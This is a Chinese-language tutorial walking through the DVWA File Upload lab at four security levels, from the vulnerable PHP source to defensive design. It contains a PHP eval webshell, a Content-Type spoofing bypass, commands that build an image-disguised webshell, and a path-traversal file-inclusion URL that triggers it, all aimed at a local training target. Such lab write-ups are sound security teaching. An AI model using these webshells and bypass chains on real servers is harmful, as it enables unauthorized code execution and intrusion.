DVWA的File Upload模块,我前前后后刷了三遍,每次刷都有新的理解。这个模块不像SQL注入那么直白,也不像XSS那样需要构造各种payload,它更像是在考你“对服务端校验逻辑的理解程度”。很多人把这个模块当成“上传个PHP文件拿shell”的过关游戏,但那真的浪费了DVWA这套靶场的设计意图。
这篇文章不打算只给你通关步骤,而是把Low到Impossible四个级别背后的校验逻辑、绕过思路、防御演变一起拆开讲清楚,顺便把我在实际操作中踩过的坑和调试过程也记录在里面。无论你是刚开始接触Web安全的新手,还是已经刷过一遍但没细看源码的老手,这篇笔记应该都能让你对文件上传漏洞有更完整的认识。
1. 把DVWA跑起来:Docker方案与登录后的三个检查
文件上传实验第一步不是写代码,而是把靶场环境准备好。DVWA的搭建方式很多,最快的是用Docker拉现成镜像,如果机器上没有Docker,也可以手动在LAMP环境里搭,但对只想专注练File Upload模块的人来说,Docker方案省下的时间够你多刷两个级别。
我自己的环境是Kali虚拟机里跑Docker,一条命令就搞定了:
bash复制docker run --rm -it -p 8080:80 vulnerables/web-dvwa
启动后浏览器访问http://127.0.0.1:8080,默认账号密码是admin/password。登录进去以后先别急着点左侧的File Upload,我建议花两分钟做三件事,后面会少很多莫名其妙的问题。
第一件事,点一下页面底部的Create / Reset Database按钮,把数据库初始化好。如果你跳过这步直接进File Upload页面,提交文件时会报数据库相关的错,虽然上传功能本身不一定受影响,但整个靶场的行为会变得不确定。
第二件事,检查文件上传目录是否可写。DVWA的上传目录是hackable/uploads/,如果权限不对,后面所有“上传成功”的结果都是假象。在容器里执行一下:
bash复制docker exec -it <容器ID> chmod -R 777 /var/www/html/hackable/uploads/
第三件事,在DVWA Security页面把安全级别切到low,然后逐个刷完Low级别再往Medium、High切。很多新手习惯一上来就调到Impossible,结果发现自己的payload一个都不生效,还以为是靶场出了问题,实际上是因为你跳过了前面的教学阶段。文件上传的每个级别都代表一类真实世界的防御方案,循序渐进才能看清攻击和防御的博弈过程。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 从业务功能到攻击面:文件上传为什么容易出问题
文件上传本身是一个非常正常的业务功能,头像上传、附件上传、Excel导入,到处都是。它之所以成为漏洞高发区,是因为HTTP协议和Web服务器的运行机制给这个功能赋予了“额外能力”。
2.1 上传功能真正校验的,是“服务器会把文件当什么执行”
你上传一个文件,服务器收到后做的事情不仅仅是保存字节流,它还会根据文件的扩展名、Content-Type、文件内容决定后续处理方式。最典型的场景是:当你访问http://target/shell.php时,Apache或Nginx会把shell.php交给PHP解释器执行,而不是直接返回文件内容。
这里有个很容易被新手忽略的点:漏洞的本质不是“服务器允许了非图片文件上传”,而是“上传后的文件落到了Web可访问目录,并且执行了”。如果上传目录在Web根目录之外,就算上传了PHP文件也没法直接通过URL访问到;如果Web服务器配置了“该目录禁止执行PHP”,那上传PHP文件也只是一堆文本。所以研究文件上传漏洞时,要同时关注三个要素:文件是否上传成功、文件是否可被访问、文件是否会被当作脚本执行。
用快递柜来类比可能更好理解:一个包裹能塞进柜子(上传成功)、你能凭取件码拿到它(可被访问)、柜子系统会调用某个程序来处理包裹里的物品(被当作脚本执行),这三步环环相扣,任何一步被切断,整个攻击链路就断了。DVWA的各级别主要是在“第一步”上做文章,通过增加不同的校验规则来阻止“非预期文件”进入柜子。
2.2 一句话木马为什么能“一句话”打通
整个File Upload模块的实验核心是一句话木马,最常见的形态是:
php复制<?php @eval($_POST['cmd']); ?>
有些版本还会配合system()或assert()来执行命令,但原理都一样:把POST请求中某个参数的值交给代码执行函数。最原始的eval版本虽然短,但它的能力相当于给攻击者一个Web层面的交互式终端,拿到它之后可以读取文件、执行系统命令、反弹交互式Shell,后续的事情就看目标机器的配置了。
我自己测试时习惯先用<?php phpinfo(); ?>来验证上传是否成功、文件是否可执行,这个文件没有任何攻击性,结果展示也特别直观。确认能执行PHP代码之后,再换成一句话木马做后续验证。这样做的好处是:如果phpinfo都执行不了,再怎么调木马也没用,问题一定出在“文件根本没进入可执行目录”这个环节。
3. Low级别:没有服务端校验时,一次最原始的完整攻击链
Low级别的源码是整个模块里最短的一段,却最能说明“文件上传漏洞是怎么来的”。
3.1 先通过浏览器走一遍完整流程
在Low级别下,后端PHP代码的逻辑大致是这样:
php复制<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo "<pre>上传成功</pre>";
} else {
echo "<pre>上传失败</pre>";
}
}
?>
这段代码从头到尾只做了一件事:把临时文件移动到上传目录。没有检查扩展名、没有检查文件内容、没有检查文件大小、没有校验MIME类型,甚至连文件名都没有重新生成,用户传什么名字就保留什么名字。
我建议你在Low级别先老老实实用浏览器操作一遍完整链路,不要一上来就抓包。在本地创建shell.php,内容写<?php phpinfo(); ?>,上传成功后会返回一个路径信息,然后直接访问:
code复制http://127.0.0.1:8080/hackable/uploads/shell.php
看到PHP版本信息和配置详情,说明这一整套攻击链路已经完整打通了。这一步成功之后,你再把phpinfo()替换成一句话木马,用WebShell管理工具连接试试,原理完全一样。
3.2 前端JS校验是摆设,服务端不校验才算漏洞
Low级别页面里还有一个容易误导新手的地方:上传表单可能有accept="image/jpeg"这样的HTML属性,或者有一些前端的JavaScript扩展名校验。这些限制看起来像“防护”,实际上浏览器端就能直接绕过。
在Chrome开发者工具的Network面板里看一下上传请求,你会发现前端限制只是浏览器在帮你筛选文件选择框里的候选项,请求本身仍然是标准的multipart/form-data上传。把shell.php改名为shell.jpg通过前端校验后再抓包改回shell.php,或者干脆禁用JavaScript再上传,都一样能成功。
这个级别的意义在于提醒你一件很重要的事:凡是客户端能控制的校验都是无效校验。真实开发里经常有人只在前端做了文件类型限制就觉得“功能安全了”,这种想法非常危险,因为攻击者根本不走你设计的UI流程。Low级别就是为了把这个事实血淋淋地摊开给你看。
4. Medium级别:Content-Type校验的盲区,一顿饭局就能想明白
切到Medium级别后再访问File Upload页面,直接上传shell.php会被拒绝,页面提示文件不是JPEG或者文件过大。这就逼着你去看服务端到底增加了什么校验。
4.1 Medium级源码里的三个检查点
php复制<?php
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
if( ( $uploaded_type == "image/jpeg" ) && ( $uploaded_size < 100000 ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $uploaded_name );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo "<pre>上传失败</pre>";
} else {
echo "<pre>上传成功</pre>";
}
} else {
echo "<pre>文件不是JPEG或文件过大</pre>";
}
?>
关键校验就两个:一是$_FILES['uploaded']['type']必须等于image/jpeg,二是文件大小必须小于100000字节。扩展名没有检查,文件内容也没有检查。
第一个检查点$_FILES['uploaded']['type']来源于客户端请求头里的Content-Type字段,它和你去饭店点菜时报的“口味偏好”没有本质区别——饭店不会在后台验证你说的口味是不是真的,全靠信任。HTTP协议也是这样,客户端说这个文件是什么类型,服务器就信什么类型。第二个检查点文件大小限制,在我们这个场景里只要确保PHP文件小于100KB就行了,一句话木马的体积通常只有几十字节,完全在限制范围内。
4.2 用代理抓包改Content-Type,一分钟绕过
绕过Medium级别的过程,本质就是“让服务器看到它想看到的Content-Type”。完整操作路径是这样的:
- 准备
shell.php,内容为<?php phpinfo(); ?>或一句话木马 - 启动Burp Suite,开启代理,浏览器流量走代理
- 在DVWA页面上传
shell.php,点击上传按钮前确保Burp的Intercept开关处于开启状态 - 提交请求后Burp拦截到原始请求,找到这一段:
code复制POST /dvwa/vulnerabilities/upload/ HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryXXXX--
- 把
Content-Type: application/octet-stream改成Content-Type: image/jpeg,然后放行请求 - 页面显示上传成功,访问
http://127.0.0.1:8080/dvwa/hackable/uploads/shell.php验证
这里提一下,为什么不建议用浏览器的开发者工具来改?因为开发者工具里的Network面板虽然能看到请求,但编辑并重发multipart表单请求的操作非常别扭,Burp Suite这种专门的代理工具在拦截改包场景下顺手得多,这也是安全从业者日常必备工具。
Medium级别最值得思考的地方在于:它校验了一个字段,但这个字段是客户端可控的。如果开发同学在这里犯迷糊,以为设置了Content-Type校验就是做了安全检查,那这个防线实际上等于没有。就好比快递柜只验证“快递单上贴的标签写着这是文件”,但标签谁都可以自己打印,那这个验证就没有任何约束力。
5. High级别:getimagesize()不是铜墙铁壁,组合拳才是关键
Medium级别在真实防御里确实很常见,但真正有点意思的是High级别。这个级别不再信任Content-Type,而是开始检查文件扩展名和文件内容,看起来已经很接近“安全”了。
5.1 High级源码:白名单扩展名加文件头检查,还漏了什么
php复制<?php
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
( getimagesize( $uploaded_tmp ) ) ) {
if( move_uploaded_file( $uploaded_tmp, $target_path ) ) {
echo "<pre>上传成功</pre>";
} else {
echo "<pre>上传失败</pre>";
}
} else {
echo "<pre>文件不是图片或文件过大</pre>";
}
?>
代码做了三件事:第一,扩展名必须是jpg、jpeg、png之一;第二,文件大小小于100000字节;第三,调用getimagesize()对文件内容做检查,这个函数会尝试解析文件头,如果文件不是有效图片,它会返回false。
先看getimagesize()检查的是什么。它读取文件的头部信息,验证图片的尺寸、类型等二进制结构,如果是合法的JPEG/PNG文件,就返回图片属性数组,否则返回false。但它的检查范围只限文件头部,文件的后半部分是什么内容它完全不关心。这给了我们一个非常经典的绕过路径:构造一个文件头是合法图片、文件尾部包含PHP代码的图片马。
再看扩展名白名单,这段代码限制了文件必须以图片扩展名结尾,但文件上传后的路径里没有重新生成文件名,所以我们可以确保上传后的文件名是shell.jpg。
问题来了:shell.jpg里包含PHP代码,但服务器会把.jpg文件交给PHP解释器执行吗?默认配置下不会。这就是High级别真正想教你的东西——单一漏洞要串联起来利用。配合DVWA自带的File Inclusion(文件包含)漏洞,就能让这个图片马里的PHP代码被执行。
5.2 构造图片马并配合文件包含触发执行
构造图片马的步骤不复杂。在Linux下用命令行几秒钟就能搞定:
bash复制# 先生成一个合法的1x1像素PNG图片头文件
echo -e "\x89PNG\r\n\x1a\n" > shell.png
# 把PHP代码追加到后面
echo "<?php phpinfo(); ?>" >> shell.png
如果你在Windows上,用copy命令也能达到同样效果:
cmd复制copy 1.png /b + shell.php /a shell.png
注意/b和/a参数一个表示二进制模式,一个表示文本模式,两个参数缺一不可,否则文件内容会被破坏。
上传这个shell.png,DVWA的High级别会返回上传成功的提示。但这时候你直接访问http://127.0.0.1:8080/dvwa/hackable/uploads/shell.png,浏览器只会把它当图片处理,PHP代码不会执行。接下来切到DVWA的File Inclusion模块,利用文件包含漏洞来触发:
code复制http://127.0.0.1:8080/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/shell.png
路径关系要稍微理一下:File Inclusion的脚本位于/dvwa/vulnerabilities/fi/index.php,而上传目录是/dvwa/hackable/uploads/,从fi目录跳到uploads目录需要先往上两级。页面输出phpinfo的内容,说明图片马已经被当作PHP代码成功执行了。
这里有一个我在实际操作中踩过的坑:如果在File Inclusion时填入相对路径一直报错,可以先试试绝对路径/var/www/html/dvwa/hackable/uploads/shell.png,或者用php://filter相关的方式先确认文件包含模块本身工作正常。排除“路径填错”这个因素后再谈其他。
顺带说一句,网上很多教程会把High级别的图片马和Web服务器解析漏洞放在一起讲,比如老版本Apache的shell.jpg.php解析特性、Nginx的xx.php.jpg解析特性等。这些利用方式在某些环境下确实有效,但DVWA官方设计High级别的意图明显是让你学会“图片马+文件包含”的组合利用,而不是单纯依赖服务器的解析配置。先把这个组合思路掌握扎实,再去了解各种服务器解析特性的历史漏洞,脉络会更清晰。
6. Impossible级别:从“如何绕过”反推“如何防御”
Impossible级别的文件上传页面,本质上已经不太像一个“漏洞靶场”了,而更像一个标准的安全开发示例。这个级别值得仔细读源码,它用代码展示了生产环境里文件上传功能应该怎么做。
6.1 随机重命名是防御体系里的胜负手
php复制<?php
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
( getimagesize( $uploaded_tmp ) ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$new_name = md5( rand() ) . "." . $uploaded_ext;
$target_path .= $new_name;
...
}
?>
第一眼看去,扩展名白名单、文件大小限制、getimagesize()图片头校验,这些和High级别几乎一样。真正不同的是最后一步:文件保存时没有保留原始文件名,而是用md5(rand())生成了一个新的随机文件名。
这个改动为什么致命?回到前面说的攻击链路三要素:文件上传成功、文件可被访问、文件被当作脚本执行。High级别的图片马能得逞,前提是攻击者知道上传后的文件路径,能把它交给文件包含模块去执行。Impossible级别上传后文件名变成一长串不可预测的MD5字符串,文件行为什么?因为攻击者无法直接通过URL访问到这个文件,也就无法利用它。
配合DVWA的File Inclusion模块去读取这个随机文件名,可行吗?理论上如果知道了文件名就能包含,但文件名是md5(rand()),随机性很强,无法预测,而且DVWA的Impossible级别文件包含模块同时也做了白名单校验,不会允许你去读取hackable/uploads/下的任意文件。多层防护叠加在一起,单点被攻破也无法形成完整的攻击链。
6.2 对照四个级别,反推真实项目的上传功能设计
把Low到Impossible四个级别的校验逻辑整理成一张表,防御演进的路径就非常清晰了:
| 级别 | 扩展名校验 | MIME/文件头校验 | 文件名处理 | 是否可执行 |
|---|---|---|---|---|
| Low | 无 | 无 | 保留原名 | 直接访问即可执行 |
| Medium | 无 | Content-Type(客户端可控) | 保留原名 | 直接访问即可执行 |
| High | 白名单(jpg/jpeg/png) | getimagesize()检查文件头 | 保留原名 | 不能直接执行,需配合文件包含 |
| Impossible | 白名单(jpg/jpeg/png) | getimagesize()检查文件头 | 随机重命名,不可预测 | 无法直接访问,攻击链被切断 |
如果让我基于DVWA这四级方案,给真实项目的文件上传功能提炼一份最小防护清单,大致是这么几条:
第一,服务端必须做扩展名白名单校验,在上传入口就挡掉绝大多数非预期文件。这里要特别注意解析顺序,不要把用户原始文件名直接拼进路径,一定要先提取扩展名再做白名单匹配,并且用strtolower()统一大小写,防止.PhP这类变体绕过。
第二,文件内容校验用getimagesize()或更严格的图像重编码方案。很多生产项目只校验扩展名,却不看文件内容,攻击者改个后缀就能绕过。如果业务确实只需要图片,可以考虑用服务端的图像处理库对上传文件重新编码,既能去掉附加在图片尾部的恶意代码,又能压制图片体积,一举两得。
第三,强制随机重命名文件,不暴露原始文件名。这一点看起来简单,实际上最有效。用户上传shell.php,落盘时叫a1b2c3d4.jpg,就算内容有恶意代码,攻击者也找不到触发它的入口。很多WAF和云服务商的上传防御方案都把“重命名+对象存储隔离+禁止脚本执行”作为标配,就是基于这个思路。
第四,不要把上传目录放在Web根目录下,或者至少要在Web服务器配置里禁止上传目录执行脚本。Nginx下可以这样配置:
nginx复制location ~* /uploads/.*\.(php|php5|phtml)$ {
deny all;
}
Apachae则可以用.htaccess或<Directory>配置关闭PHP执行权限。这段配置解决的是“就算恶意文件上传成功,也不能被当作脚本执行”的问题,属于纵深防御的兜底层。
7. 学习笔记之外的延伸:从刷题思维转向“攻防链路”思维
DVWA的File Upload模块刷完之后,我建议你可以做两件事来巩固。
第一件事,把每个级别的攻击路径完整画一遍,找出每一步“为什么能成功”。Low是因为无校验,Medium是因为客户端可控的Content-Type被信任,High是因为上传漏洞和文件包含漏洞的组合效应。能把这几个“为什么”讲清楚,比记住payload本身重要得多。第二件事,拿Burp Suite记录每个级别的上传请求,对比一下前端请求格式和后端校验字段之间的对应关系,你会发现multipart/form-data格式里每个字段都值得多看两眼。
这个模块真正给我留下的最深体会不是“如何绕过各种校验”,而是“攻击链路是由多个环节组成的,防御方只要切断任何一环,攻击就无法完成”。很多人刷完DVWA只记住了绕过方法,到了真实环境里发现根本用不上,就是因为真实系统的防御并不只有一处,而是在“上传入口、文件名处理、存储位置、执行权限、访问控制”多个层面同时设卡。反过来想,如果你能在自己负责的任何一个功能里做到其中两三项,攻击者要做的工作量会成倍增加。文件上传是少数几个“防御收益极高”的功能点,多花点时间研究它,绝对值。
